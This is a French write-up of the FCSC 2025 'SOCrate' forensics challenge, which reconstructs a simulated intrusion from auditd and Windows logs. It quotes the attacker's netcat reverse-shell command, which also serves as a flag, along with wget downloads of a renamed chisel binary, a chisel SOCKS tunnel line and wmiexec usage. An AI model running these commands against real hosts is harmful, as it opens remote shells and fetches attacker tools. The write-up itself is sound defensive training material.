Yop ;) Voici un nouveau Write-up cette fois-ci du challenge SOCrate sortie pour le FCSC 2025.
Description

SOCrate 1/6 - Technologie
1
2
3
|
Sur la machine webserver, sous quel chemin tourne l’application web ?
FCSC{/var/www/***/************/}
|
En téléchargeant le fichier fourni avec le challenge, on récupère un grand nombre de fichiers de log, chacun dans un dossier Windows ou Linux.
On effectue rapidement une analyse avec grep dans ces dossiers :
grep -rE "/(var/www)/[^\s\"']+" ./20230612 ./20230613 ... | tee c
1
|
/20230613/20230613T170001.log:node=webserver type=SYSCALL msg=audit(1686675557.406:8569): arch=c000003e syscall=42 success=no exit=-115 a0=6 a1=c0003c202c a2=10 a3=0 items=0 ppid=9427 pid=9428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="text" exe="/var/www/app/banque_paouf/text" subj=unconfined key="outbound_connection" ARCH=x86_64 SYSCALL=connect AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
|
Flag : FCSC{/var/www/app/banque_paouf/}
SOCrate 2/6 - Reverse shell
1
2
3
4
5
|
L’attaquant a exécuté un reverse shell sur une machine. Retrouver la commande correspondant à l’exécution de ce reverse shell.
Format du flag : FCSC{LIGNE_DE_COMMANDE}
Exemple : FCSC{bash -i >& /dev/tcp/10.42.43.44/1234 0>&1}
|
Après avoir mis en place un environnement d’analyse pour notre dossier Windows, j’ai l’impression que, pour ce challenge, cela ne va pas nous être très utile et qu’il va plutôt falloir se concentrer sur les logs Linux.
On se documente donc avec google et nous lisons ceci RedHat
On retrouve donc 4 types d’informations pour un évènement:
1
2
3
4
|
type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=2 success=no exit=-13 a0=7fffd19c5592 a1=0 a2=7fffd19c4b50 a3=a items=1 ppid=2686 pid=3538 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="cat" exe="/bin/cat" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="sshd_config"
type=CWD msg=audit(1364481363.243:24287): cwd="/home/shadowman"
type=PATH msg=audit(1364481363.243:24287): item=0 name="/etc/ssh/sshd_config" inode=409248 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 objtype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0
type=PROCTITLE msg=audit(1364481363.243:24287) : proctitle=636174002F6574632F7373682F737368645F636F6E666967
|
- type=SYSCALL : the SYSCALL value specifies that this record was triggered by a system call to the kernel.
- type=CWD : CWD — current working directory. This type is used to record the working directory from which the process that invoked the system call specified in the first record was executed.
- type=PATH : An Audit event contains a PATH-type record for every path that is passed to the system call as an argument. In this Audit event, only one path (/etc/ssh/sshd_config) was used as an argument.
- type=PROCTITLE : In this example, the PROCTITLE value specifies that this record gives the full command-line that triggered this Audit event, triggered by a system call to the kernel.
On va donc utiliser l’outil ausearch, car on est là pour apprendre, même si grep reste très efficace.
Pour simplifier l’analyse, j’ai regroupé tous les fichiers de log en un seul :
cat *.log > all_event_logs.log
On commence ensuite à appliquer des filtres avec ausearch. On sait que proctitle contient les lignes de commande, encodées en hexadécimal, que l’on peut facilement décoder.
On va également filtrer sur le processus concerné. On suppose que l’attaquant a exécuté son reverse shell via bash (même si j’ai aussi testé d’autres pistes, comme un encodage avec base64, etc.).
La commande utilisée est donc :
ausearch -x bash -if all_logs_combined.log --interpret
Nous obtenons de nombreux résultats comme ci-dessous :
1
2
3
4
5
6
7
8
9
10
11
|
----
[...]
node=webserver type=EOE msg=audit(13/06/2023 10:38:55.854:2903) :
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:38:55.854:2903) : proctitle=/bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f
node=webserver type=PATH msg=audit(13/06/2023 10:38:55.854:2903) : item=1 name=/lib64/ld-linux-x86-64.so.2 inode=3604 dev=fc:01 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 OUID="root" OGID="root"
node=webserver type=PATH msg=audit(13/06/2023 10:38:55.854:2903) : item=0 name=/bin/bash inode=1625 dev=fc:01 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 OUID="root" OGID="root"
node=webserver type=CWD msg=audit(13/06/2023 10:38:55.854:2903) : cwd=/var/www/app/banque_paouf
node=webserver type=EXECVE msg=audit(13/06/2023 10:38:55.854:2903) : argc=3 a0=/bin/bash a1=-c a2=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f
----
[...]
|
On retrouve rapidement la commande qui a potentiellement permis l’exécution du reverse shell : /bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f
, Cependant, on peut affiner davantage la recherche en ajoutant un simple grep :
ausearch -x bash -if all_logs_combined.log --interpret | grep "proctitle"

Il est également possible de réaliser la même chose de la manière suivante :
grep 'type=PROCTITLE' all_logs_combined.log | grep -Ei '2f62696e2f62617368|62617368' | sed -n 's/.*proctitle=//p' | while read hex; do echo "$hex" | xxd -r -p | tr '\0' ' '; echo; done
On se retrouve donc avec :
Flag : FCSC{/bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f}
SOCrate 3/6 - Outil téléchargé
1
2
3
4
5
6
7
|
L’attaquant a utilisé le reverse shell de la question précédente pour télécharger un outil. Il a ensuite exécuté cet outil.
Retrouver l’URL du téléchargement et retrouver le nom original de l’outil (le binaire ayant été renommé).
Format du flag : FCSC{URL|NOM_ORIGINAL}
Exemple : FCSC{https://10.42.43.44/toto|nmap}
|
La première occurence du reverse shell que nous avons vu précédemment est la suivante :
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:38:55.854:2903) : proctitle=/bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f
Nous avons donc, une ip, un port, ainsi qu’une date. Après de nombreux tests on obtient le filtre suivant :
ausearch -ts 13/06/2023 10:38:55 -c wget -if all_logs_combined.log --interpret --node webserver |grep "80.125.9.58"
L’option -c permet de filtrer sur le processus, ce qui est particulièrement utile car ça nous permet rapidement de tester les variantes wget/curl etc…
On obtient le résultat suivant :
1
2
3
4
5
6
7
8
9
10
11
12
|
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:51:07.966:2918) : proctitle=wget http://80.125.9.58/cat
node=webserver type=EXECVE msg=audit(13/06/2023 10:51:07.966:2918) : argc=2 a0=wget a1=http://80.125.9.58/cat
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:51:08.214:2919) : proctitle=wget http://80.125.9.58/cat
node=webserver type=SOCKADDR msg=audit(13/06/2023 10:51:08.214:2919) : saddr={ saddr_fam=inet laddr=80.125.9.58 lport=80 } SADDR={ saddr_fam=inet laddr=80.125.9.58 lport=80
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:53:00.058:2930) : proctitle=wget http://80.125.9.58:80/text
node=webserver type=EXECVE msg=audit(13/06/2023 10:53:00.058:2930) : argc=2 a0=wget a1=http://80.125.9.58:80/text
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:53:00.534:2931) : proctitle=wget http://80.125.9.58:80/text
node=webserver type=SOCKADDR msg=audit(13/06/2023 10:53:00.534:2931) : saddr={ saddr_fam=inet laddr=80.125.9.58 lport=80 } SADDR={ saddr_fam=inet laddr=80.125.9.58 lport=80
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:58:23.870:3009) : proctitle=wget http://80.125.9.58:80/text
node=webserver type=EXECVE msg=audit(13/06/2023 10:58:23.870:3009) : argc=2 a0=wget a1=http://80.125.9.58:80/text
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:58:24.122:3010) : proctitle=wget http://80.125.9.58:80/text
node=webserver type=SOCKADDR msg=audit(13/06/2023 10:58:24.122:3010) : saddr={ saddr_fam=inet laddr=80.125.9.58 lport=80 } SADDR={ saddr_fam=inet laddr=80.125.9.58 lport=80
|
Sachant que nous avion déjà vu passer le binaire text à le question précédente. Et que nous avons vu son utilisation nous savons qu’il est plutôt louche, confirmons le de la manière suivante :
ausearch -ts 13/06/2023 10:38:55 -c text -if all_logs_combined.log --interpret --node webserver |grep "80.125.9.58"
Ce qui nous donne d’innombrables résultats :
1
2
3
4
5
6
7
|
node=webserver type=PROCTITLE msg=audit(14/06/2023 12:38:37.834:11555) : proctitle=./text client -v 80.125.9.58:4444 R:socks
node=webserver type=PROCTITLE msg=audit(14/06/2023 12:38:37.866:11558) : proctitle=./text client -v 80.125.9.58:4444 R:socks
[...]
node=webserver type=PROCTITLE msg=audit(14/06/2023 12:50:50.546:11589) : proctitle=./text client -v 80.125.9.58:4444 R:socks
node=webserver type=PROCTITLE msg=audit(14/06/2023 12:50:50.550:11590) : proctitle=./text client -v 80.125.9.58:4444 R:socks
|
Si on connait rapidement l’outil chisel, on remarque que le binaire semble fonctionner de la même manière. Autrement en demandant à un LLM :

Nous obtenons ainsi le flag ;)
Flag : FCSC{http://80.125.9.58:80/text|chisel}
SOCrate 4/6 - Latéralisation
1
2
3
4
5
|
L’outil identifié à la question 3 a effectué plusieurs requêtes LDAP. Trouvez l’IP et le FQDN de la machine ciblée par ces requêtes.
Format du flag : FCSC{IP|FQDN}
Exemple : FCSC{10.42.43.44|service.gouv.lan}
|
En cherchant dans les logs Linux avec un filtre sur le port 389 qui correspond au port LDAP :
ausearch -ts 13/06/2023 10:38:55 -if all_logs_combined.log --interpret --node webserver | grep -iE "389"
On remarque les résultats suivants :
1
2
3
4
|
node=webserver type=SOCKADDR msg=audit(14/06/2023 14:02:42.250:11704) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
node=webserver type=SOCKADDR msg=audit(14/06/2023 14:06:01.786:11719) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172
...
node=webserver type=SOCKADDR msg=audit(14/06/2023 17:03:35.753:12085) : saddr={ saddr_fam=inet laddr=172.16.42.10 lport=389 } SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389
|
On récupère ainsi une ip qui semble pertinente : 172.16.42.10
, cependant aucune mention de cette ip n’est mentionné au sein des logs linux, étant donné qu’on nous demande le FQDN on peut supposer qu’il faut rechercher au sein de logs Windows. Ainsi, un simple filtre de recherche dans TimelineExplorer sur l’ip, nous permet d’obtenir l’information que le FQDN associé est : DC01-SRV.cipherpol.gouv
On valide ainsi le challenge :
Flag : FCSC{172.16.42.10|DC01-SRV.cipherpol.gouv}
SOCrate 5/6 - Vol de clés
1
2
3
4
5
|
L’attaquant cherchait à récupérer un fichier sensible présent sur une machine, mais il n’avait pas les droits suffisants. Il s’est donné les permissions puis a téléchargé le fichier. Retrouvez le FQDN de la machine cible et le chemin de ce fichier. Retrouvez également l’adresse IP source depuis laquelle l’attaquant opérait pour se connecter à la machine cible.
Fomat du flag (insensible à la casse) : FCSC{FQDN_VICTIME|CHEMIN_ABSOLU|IP_SOURCE}
Exemple : FCSC{laptop-1337.gouv.lan|C:\Users\Public\secret.pdf|10.42.43.44}
|
Nous savons que l’attaquant a cherché à obtenir davantage de droits. Pour ce faire, une commande très connue est icacls. En filtrant sur cette recherche dans Timeline Explorer, on retrouve les résultats suivants :

L’attaquant cherche donc à changer les droits sur le fichier suivant : C:\Users\jeanne.dias\.ssh\vm1.pem
de la machine WORKSTATION2.cipherpol.gouv
, il nous reste à trouver l’ip depuis laquelle il s’est connecté. En filtrant sur les Target Logon ID (LID), je n’ai rien trouvé au travers de Timeline Explorer, cependant au travers des commandes :
1
2
3
|
rg -i "0x84c794" --binary -E UTF-16 ./
strings -el ./20230616T125500.evtx | grep -C 10 "0x84c794"
|
J’ai pu trouvé l’IP en question :

Flag : FCSC{WORKSTATION2.cipherpol.gouv|C:\Users\jeanne.dias\.ssh\vm1.pem|172.16.45.110}
SOCrate 6/6 Outil utilisé
1
2
3
|
L’action décrite dans la question 5 est réalisée en utilisant un outil offensif bien connu. Quel est le nom de cet outil ?
Fomat du flag (insensible à la casse) : FCSC{nom}
|
Lors de la génération des CSV Hayabusa, nous sort de nombreuses alertes critiques comme suit :

En se renseignant sur Wmiexec on retrouve les mêmes payloads que nous étudions durant la question précédente, ce qui nous permet de définir l’outil utilisé.
Flag : FCSC{wmiexec}
Conclusion
Encore un super challenge proposé par ribt, j’ai également encore une fois eu des pertes d’évènements entre Hayabusa et TimelineExplorer, ce qui me fait considérer d’utiliser d’autres outils comme Splunk pour des analyses plus verbeuse, en corrélation avec Hayabusa qui nous donne beaucoup d’informations.